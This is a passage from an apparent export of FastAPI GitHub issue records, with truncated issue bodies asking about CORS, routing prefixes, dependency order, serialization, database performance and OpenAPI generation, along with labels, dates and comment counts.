- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from enum import Enum

from fastapi import (
    FastAPI,
    File,
    UploadFile,
    Form,
)
from pydantic import BaseModel, Field

app = FastAPI()


# Models
class ModelProcessor(str, Enum):
    CPU = ""cpu""
    GPU = ""gpu""
    TPU = ""tpu""
    DEFAULT = CPU


class ModelThresholds(BaseModel):
    confidence: float = Field(0.5, ge=0.0, le=1.0, descritpiton=""Confidence Threshold"")
    nms: float = Field(
        0.4, ge=0.0, le=1.0, description=""Non-Maximum Suppression Threshold""
    )


class ModelOptions(BaseModel):
    processor: ModelProcessor = Field(None, description=""Processor to use for model"")
    height: int =... [TRUNCATED]","question,question-migrate",2022-09-05T15:43:14Z,2023-02-27T21:50:34Z,11
tiangolo/fastapi,1360981883,Possible wrong response serializing with Pydantic model,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
if isinstance(res, BaseModel):
    read_with_orm_mode = getattr(res.__config__, ""read_with_orm_mode"", None)
    if read_with_orm_mode:
        # Let from_orm extract the data from this model instead of converting
        # it now to a dict.
        # Otherwise there's no way to extract lazy data that requires attribute
        # access instead of dict iteration, e.g. lazy relationships.
        return res
```


### Description

I am using FastAPI Users with Beanie ODM.
I noticed that response serialized by FastAPI contains `id` field with `null` value.
I started debugging my code and noticed that FastAPI checks if `orm_mode` is turned on in ... [TRUNCATED]","question,question-migrate",2022-09-03T23:25:55Z,2023-02-27T21:50:30Z,2
tiangolo/fastapi,1360954480,"pytest routing needs explicit prefix on requests, when prefix is set in APIRouter. Works fine when prefix is added in FastAPI.include_router()","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi.testclient import TestClient
from fastapi import FastAPI, APIRouter


app = FastAPI(
    title='PYTEST PREFIX'
)

router_with_prefix = APIRouter(prefix='/prefix_in_router')
router_without_prefix = APIRouter()


@router_with_prefix.get('/test')
async def router_with_prefix_path_op():
    return 'PREFIX IN APIROUTER', 200


@router_without_prefix.get('/test')
async def router_without_prefix_path_op():
    return 'PREFIX IN INCLUDE ROUTER', 200

app.include_router(
    router_with_prefix
)

app.include_router(
    router_without_prefix,
    prefix='/prefix_in_include'
)


def test_prefix_in_include_router():
... [TRUNCATED]","question,question-migrate",2022-09-03T20:23:15Z,2023-02-28T15:42:06Z,1
tiangolo/fastapi,1360923742,"Application factory pattern is slow because of `include_router`, allow passing top level router `FastAPI(router=router)`","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import time

from fastapi import APIRouter, FastAPI

router = APIRouter()


@router.get(""/"")
async def get_root():
    pass


@router.post(""/"")
async def post_route():
    pass


@router.patch(""/"")
async def patch_route():
    pass


@router.delete(""/"")
async def delete_route():
    pass


def create_app() -> FastAPI:
    app = FastAPI()
    app.include_router(router)
    return app
```


### Description

We are using the [application factory pattern](https://flask.palletsprojects.com/en/2.2.x/patterns/appfactories/) with FastAPI as it allows us not to have the app get configured at import time. This works well for us an... [TRUNCATED]","question,answered,reviewed,question-migrate",2022-09-03T17:41:14Z,2023-02-27T21:50:26Z,8
tiangolo/fastapi,1360308211,"Why do FastAPI Insertion queries take Extremely Long (10+mins for 100,000 rows)","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.post('/')
def postStockData(data:List[pydanticModels.StockPrices], raw_db = Depends(get_raw_db)):

  cursor = raw_db[0]
  cnxn = raw_db[1]

  
  SQL = ""INSERT INTO "" + models.StockPricing.__tablename__ + "" VALUES (%s, %s, %s)""
  
  valsToInsert = []
  for row in data:
    rowD = row.dict()
    valsToInsert.append((rowD['date'], rowD['symbol'], rowD['value']))
  cursor.executemany(SQL, valsToInsert)
  cnxn.commit()
```


### Description

The above code takes extremely long to run, so much so that I can not complete it.
I've tested it with SqlAlchemy, as well as a raw connector, as above, and through fastApi they both don't finis... [TRUNCATED]","question,question-migrate",2022-09-02T14:57:48Z,2023-02-27T21:50:22Z,4
tiangolo/fastapi,1359969773,"""AttributeError: __pydantic_model__"" when response_model is union","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import typing

import fastapi
import httpx
import pydantic as pydantic
import pytest
from fastapi import FastAPI
from fastapi.encoders import jsonable_encoder
from pydantic import ValidationError
from starlette import status
from starlette.responses import JSONResponse


class ResponseOne(pydantic.BaseModel):
    val: str


class ResponseTwo(pydantic.BaseModel):
    val: str


app = FastAPI()
incorrect_response = {""abc"": ""def""}


@app.exception_handler(ValidationError)
async def validation_exception_handler(request: fastapi.Request, exc: ValidationError):
    return JSONResponse(
        status_code=statu... [TRUNCATED]","question,question-migrate",2022-09-02T09:55:57Z,2023-02-27T21:50:18Z,6
tiangolo/fastapi,1359896119,Why fastapi shutdown event doesn't dump my db ?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Description

I'm deploying an API server (with FastAPI) and a db server (with PostgreSQL) using docker-compose. I defined a shutdown event in the API server:

```
@app.on_event(""shutdown"")
def shutdown_event():
    subprocess.call([""bash"", ""dump_db.sh""])
```
    
The bash script `dump_db.sh` dumps the db in the filesystem of the container that deploys the API server. The dumped file is shared as a volume with the host. So, the host repository that started the containers should get updated dumps on every shutdown of the API server. However, it doesn't happen. Could it be some issue with the shutdown event ? If I understood, it should be triggered whe... [TRUNCATED]","question,question-migrate",2022-09-02T08:50:00Z,2023-02-27T21:50:14Z,4
tiangolo/fastapi,1358963353,SQL DB session with middleware: Non effective code,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# middleware from the docs db example
# https://fastapi.tiangolo.com/tutorial/sql-databases/#alternative-db-session-with-middleware
# paths in repo:
# docs_src/sql_databases/sql_app/alt_main.py
# docs_src/sql_databases/sql_app_py39/alt_main.py
# docs_src/sql_databases/sql_app_py310/alt_main.py

@app.middleware(""http"")
async def db_session_middleware(request: Request, call_next):
    response = Response(""Internal server error"", status_code=500)
    try:
        request.state.db = SessionLocal()
        response = await call_next(request)
    finally:
        request.state.db.close()
    return response
```


### De... [TRUNCATED]","question,question-migrate",2022-09-01T14:42:21Z,2023-02-28T15:42:03Z,1
tiangolo/fastapi,1358781488,"Cookies Received, but doesn't stored inside the browser ","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [x] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

### Description

tldr; get responses back from cookies, but it doesn't stored on the application, and still able to send it on every request.

I have a frontend framework with axios to communicate with backend fastapi. At first, cookies are set when tested with swagger UI. 
![image](https://user-images.githubusercontent.com/96673241/187909760-9b4476ee-b5ed-481a-8e64-7f2956f649f2.png)

but, when requesting with axios from frontend, it show me an error, so I followed the instruction from this issues[https://github.com/tiangolo/fastapi/issues/3267](url)

and now, I can get the responses but instead of getting cookies in browser, I only r... [TRUNCATED]","question,question-migrate",2022-09-01T12:37:50Z,2023-02-27T21:50:09Z,8
tiangolo/fastapi,1357862141,"Working on switching a service from FlaskAPI to FastAPI. The FlaskAPI document uses swag_from to import the swagger UI from a yml file, but I can't find a simple way to do this in FastAPI. Is there a simple way?","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
#tried the below solution already
from fastapi.openapi.utils import get_openapi

def getrsvp_openapi():
          openapi_data = router.openapi()
    # Change ""openapi.json"" to desired filename
    with open(""get_rsvp_challenge.yml"", ""w"") as file:
        json.dump(openapi_data, file)

#below is the code in flaskapi

from flasgger import swag_from

    @swag_from('folder/filename.yml')
```


### Description

I assumed that there would be a quick replacement for swag_from in fast API but am unable to find one, and most of the documentation I found doesn't show .yml examples.

### Operating System

macOS

### Operating System Details

_No ... [TRUNCATED]","question,question-migrate",2022-08-31T20:56:40Z,2023-02-27T21:50:06Z,0
tiangolo/fastapi,1357458828,Regression in OpenAPI related checks during `app.include_router(router)`,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Union

from fastapi import FastAPI, APIRouter
from fastapi.responses import FileResponse
from pydantic import BaseModel


class Item(BaseModel):
    id: str
    value: str


responses = {
    404: {""description"": ""Item not found""},
    302: {""description"": ""The item was moved""},
    403: {""description"": ""Not enough privileges""},
    ""5XX"": {""description"": ""Server errors"", ""model"": Item},
}


app = FastAPI(responses=responses)
router = APIRouter()

@router.get(
    ""/items/{item_id}"",
    response_model=Item,
)
async def read_item(item_id: str, img: Union[bool, None] = None):
    if img:
        return F... [TRUNCATED]","question,question-migrate",2022-08-31T14:53:36Z,2023-02-28T15:42:01Z,2
tiangolo/fastapi,1355639437,Fast API RedirectResponse to Azure Blob Storage URL is blocked by CORS,"### First Check

- [ ] I added a very descriptive title to this issue.
- [x] I used the GitHub search to find a similar issue and didn't find it.
- [x] I searched the FastAPI documentation, with the integrated search.
- [x] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [ ] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [ ] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [ ] I commit to help with one of those options 👆

### Example Code

```python
def get_application():
    """"""Function to initialze and return the app""""""
    app = FastAPI(title=settings.server_settings.title,
                  openapi_url=""/openapi.json"")

    app.add_middleware(
        CORSMiddleware,
        allow_origins=[""*""],
        allow_credentials=True,
        allow_methods=[""*""],
        allow_headers=[""*""],
    )
```


### Description

I have a Fast API application and a GET request with a file id. In backend an Azure Blob URL for the file is generated. I want the user to be redirected to that URL (to download the file) when the GET endpoint is accessed. The query works as expected (in the backend I have... [TRUNCATED]","question,question-migrate",2022-08-30T11:47:11Z,2023-02-27T21:50:03Z,1
tiangolo/fastapi,1355228673,Failed to Run FastAPI-uvicorn+Nginx With Both --uds and --root-path,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
app = FastAPI()
@app.get(""/"")
def hello():
    return {""Hello"": ""World!""}
```


### Description

Hi.  I have problem running FastAPI-uvicorn+Nginx with both `--uds` and `--root-path`.

The code is:

    from fastapi import FastAPI
    app = FastAPI()
    @app.get(""/"")
    def hello():
        return {""Hello"": ""World!""}

With both `--uds` and `--root-path`:

    % uvicorn main:app --uds /tmp/fastapi-test.sock --root-path /api
    INFO:     Started server process [3222669]
    INFO:     Waiting for application startup.
    INFO:     Application startup complete.
    INFO:     Uvicorn running on unix socke... [TRUNCATED]","question,question-migrate",2022-08-30T06:19:38Z,2023-02-27T21:50:00Z,1
tiangolo/fastapi,1354370362,Execution order of dependencies,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn as uvicorn
from fastapi import FastAPI, Depends

app = FastAPI()


def dep1():
    print('1')


def dep2():
    print('2')


@app.get('/test', dependencies=[Depends(dep1), Depends(dep2)])
def test():
    return 'test'


if __name__ == '__main__':
    uvicorn.run(""main:app"", host=""127.0.0.1"", port=8008, reload=True, debug=True)
```


### Description

By running the above code the output is 

```
1
2
```

Is the execution order of dependencies always the declared order? I haven't found anything in the docs regarding the order of the dependencies.

### Operating System

Linux

### Operating System Details

_No r... [TRUNCATED]","question,question-migrate",2022-08-29T14:09:40Z,2023-02-27T21:49:55Z,8
tiangolo/fastapi,1354288334,Not able to get desired performance from FastAPI,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Union
from fastapi import FastAPI
import uvicorn

app = FastAPI()

@app.get(""/"")
def read_root():
    return {""Hello"": ""World""}

@app.get(""/items/{item_id}"")
def read_item(item_id: int, q: Union[str, None] = None):
    return {""item_id"": item_id, ""q"": q}

if __name__ == '__main__':
    uvicorn.run(app, port=8080, host='0.0.0.0')
```


### Description

* Deploy above code on GCP Cloud run
* Invoke GET API from apache JMeter
* 1000 request/sec for 180 sec duration

### Operating System

Windows

### Operating System Details

Intel Core i7, 16GB RAM

### FastAPI Version

0.68.0

### Python Version

3.8

### Additional... [TRUNCATED]","question,investigate,question-migrate",2022-08-29T13:19:37Z,2023-02-28T15:41:56Z,11
tiangolo/fastapi,1353321075,How t make recursive models.,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class File(Base):
    __tablename__ = ""files""

    id = Column(Integer, primary_key=True, index=True)
    name = Column(String)
    content = Column(String)
    time_created = Column(DateTime(timezone=True), server_default=func.now())


    parent = relationship(""File"", back_populates=""children"")
    children = relationship(""FileChild"", back_populates=""parent"")


my schema
```graphql
extend type Mutation {
    file(name: String!, content: String, parent_id:Int): String!
}

type File {
    name: String
    children: [File]
}

extend type Query {
    files : [File]
}


```
```


### Description

Hello, I want to do recursiv... [TRUNCATED]","question,question-migrate",2022-08-28T11:10:42Z,2023-02-27T21:49:52Z,3
tiangolo/fastapi,1352445185,CORS error: No 'Access-Control-Allow-Origin' header is present,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from starlette.middleware.cors import CORSMiddleware

app = FastAPI()
app.add_middleware(
    CORSMiddleware,
    allow_origins=[
        ""http://localhost:3000/bar"",
    ],
    allow_credentials=True,
    allow_methods=[""*""],
    allow_headers=[""*""],
)
@app.get(""/get-data"")
def get_data():
    x = {""data"": [""test""]}
    return (x)
```


### Description

WEhn I call the IP in the browser it works fine.

In my React script I get an error
![image](https://user-images.githubusercontent.com/33859801/186944112-4257bb1f-1e37-4908-ada1-f0550c32ccc2.png)

I did add the url to allow origins already

### Operati... [TRUNCATED]","question,question-migrate",2022-08-26T15:52:10Z,2023-02-27T21:49:49Z,3
tiangolo/fastapi,1350826616,using Security scopes with sqladmin endpoint /admin,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
none
```


### Description

I have tried to follow fastapi portal docs to set up authentication/authorization.  
authentication: https://fastapi.tiangolo.com/tutorial/security/oauth2-jwt/
authorization: https://fastapi.tiangolo.com/advanced/security/oauth2-scopes/

when user visits the app main page like http://localhost:8000 if there is not JWT token then he is redirected to login page.  Once login happens he comes to dashboard page.  The /admin is not protected so am looking for way to send him back to login page and only if he has game:admin scope he can come to admin page.

I read about Middleware and seems simple en... [TRUNCATED]","question,question-migrate",2022-08-25T12:33:28Z,2023-02-28T15:41:51Z,8
tiangolo/fastapi,1350785297,Generates invalid spec if route has no leading slash,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
def test_missing_leading_slash():
    app = fastapi.FastAPI()

    @app.get(""model"", response_model=None)
    def get():
        return None
```


### Description

* Copy the generated spec into editor.swagger.io

```yaml
openapi: 3.0.2
info:
  title: FastAPI
  version: 0.1.0
paths:
  model:
    get:
      summary: Get
      operationId: getmodel_get
      responses:
        '200':
          description: Successful Response
          content:
            application/json:
              schema: {}

```

* See problem:

```
Structural error at paths
should only have path names that start with `/`
Jump to line 5
```

### ... [TRUNCATED]","question,question-migrate",2022-08-25T11:59:41Z,2023-02-28T15:41:48Z,2
tiangolo/fastapi,1350581807,Muti level swagger docs,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
when I use tags to classify endpoints, swagger ui docs only has one level display, if i want Muti-level api docs, how can I do ?
```


### Description

when I use tags to classify endpoints, swagger ui docs only has one level display, if i want Muti-level api docs, how can I do ?

### Operating System

macOS

### Operating System Details

_No response_

### FastAPI Version

0.79.0

### Python Version

3.7.13

### Additional Context


![](https://fastapi.tiangolo.com/img/index/index-03-swagger-02.png)

like this， https://stackoverflow.com/questions/41800330/multi-level-nested-tagging-in-swagger-ui
","question,question-migrate",2022-08-25T09:08:21Z,2023-02-28T15:41:45Z,3
tiangolo/fastapi,1349374614,Cleaning up stack traces: removing implementation details,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()


@app.get(""/"")
async def root():
    raise Exception('break')
```


### Description

When we raise an exception, I'd like to only log useful information. Currently, my tracebacks contain:
```
ERROR:    Exception in ASGI application
Traceback (most recent call last):
  File ""/Users/dvdcon/.asdf/installs/python/3.10.5/lib/python3.10/site-packages/uvicorn/protocols/http/h11_impl.py"", line 403, in run_asgi
    result = await app(self.scope, self.receive, self.send)
  File ""/Users/dvdcon/.asdf/installs/python/3.10.5/lib/python3.10/site-packages/uvicorn/middleware/proxy_headers.py"", line 78, in __c... [TRUNCATED]","question,question-migrate",2022-08-24T12:33:27Z,2023-02-28T15:41:43Z,1
tiangolo/fastapi,1349009335,About behavior HTTPException of sub-applications,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Depends, HTTPException
from fastapi.responses import JSONResponse
from starlette.middleware.cors import CORSMiddleware


app = FastAPI()
app.add_middleware(
    CORSMiddleware,
    allow_origins=['*'],
    allow_credentials=True,
    allow_methods=['*'],
    allow_headers=['*'],
    expose_headers=['*'],
)

sub = FastAPI()


@sub.get('/', status_code=200)
async def get():
    raise HTTPException(400, 'error handling sub app')


async def http_exception_handler(_, exc):
    return JSONResponse(exc.detail, status_code=exc.status_code)

# not working
app.add_exception_handler(HTTPException, http_ex... [TRUNCATED]","question,question-migrate",2022-08-24T07:42:30Z,2023-02-27T21:49:45Z,5
tiangolo/fastapi,1347471534, Do I really need to use ORM in fastAPI?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import aiomysql

Class DataBase():

    async def __init__(self, loop):
        self.conn = await aiomysql.connect( ... )

    async def execute(self, query, loop):
        cur = await self.conn.cursor()
        sql_result = cur.execut(query)
        return sql_result
```


### Description

hello. I am a developer who developed with flask and is considering moving to fastAPI. When developing on flask, i use the above class to insert or retrieve data from DB. However, in fastAPI (perhaps only sqlAlchemy is supported), there seems to be no usages anywhere to using 'execute' method to get actual DB data rows.

I try to avoid using sqlAlchemy... [TRUNCATED]","question,question-migrate",2022-08-23T07:30:09Z,2023-02-27T21:49:42Z,2
tiangolo/fastapi,1347287715,How to get the link of images in json,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
